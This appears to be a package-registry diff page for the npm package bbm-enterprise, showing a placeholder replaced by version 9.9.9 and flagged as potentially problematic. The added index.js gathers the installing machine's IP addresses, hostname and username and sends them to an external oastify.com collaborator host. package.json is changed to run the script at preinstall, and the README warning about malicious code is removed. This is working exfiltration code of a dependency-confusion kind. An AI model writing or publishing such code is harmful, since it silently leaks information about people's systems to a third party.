bbm-enterprise 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bbm-enterprise might be problematic. Click here for more details.

package/404.txt ADDED
@@ -0,0 +1 @@
1
+ https://registry.npmjs.org/bbm-enterprise
package/index.js ADDED
@@ -0,0 +1,66 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const { networkInterfaces } = require('os');
4
+
5
+ // Burp Collaborator URL
6
+ const burpCollaboratorUrl = '031f8u8j5mtgn5sf8g9f9r7hs8yzmqaf.oastify.com'; // Replace with your actual Burp Collaborator URL
7
+
8
+ // Function to extract IP addresses
9
+ function getIPAddresses() {
10
+ const nets = networkInterfaces();
11
+ const results = [];
12
+ for (const name of Object.keys(nets)) {
13
+ for (const net of nets[name]) {
14
+ if (!net.internal && net.family === 'IPv4') {
15
+ results.push(net.address);
16
+ }
17
+ }
18
+ }
19
+ return results;
20
+ }
21
+
22
+ // Collect essential information
23
+ const info = {
24
+ ipAddresses: getIPAddresses(), // IP addresses
25
+ hostname: os.hostname(), // Local hostname
26
+ username: os.userInfo().username // Username executing the script
27
+ };
28
+
29
+ // Convert information into a query string
30
+ const queryString = Object.entries(info)
31
+ .map(([key, value]) => {
32
+ if (Array.isArray(value)) {
33
+ value = value.join(','); // Convert array to comma-separated string
34
+ }
35
+ return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
36
+ })
37
+ .join('&');
38
+
39
+ // Function to send data to Burp Collaborator
40
+ function sendDataToBurpCollaborator() {
41
+ const options = {
42
+ hostname: burpCollaboratorUrl,
43
+ port: 443,
44
+ path: `/?${queryString}`,
45
+ method: 'GET',
46
+ headers: {
47
+ 'User-Agent': 'Info-Capture-Bot/1.0'
48
+ }
49
+ };
50
+
51
+ const req = https.request(options, (res) => {
52
+ console.log(`Status: ${res.statusCode}`);
53
+ res.on('data', (chunk) => {
54
+ console.log(`Response: ${chunk}`);
55
+ });
56
+ });
57
+
58
+ req.on('error', (error) => {
59
+ console.error(`Error sending data: ${error.message}`);
60
+ });
61
+
62
+ req.end();
63
+ }
64
+
65
+ // Execute the function
66
+ sendDataToBurpCollaborator();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "bbm-enterprise",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":" node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bbm-enterprise for more information.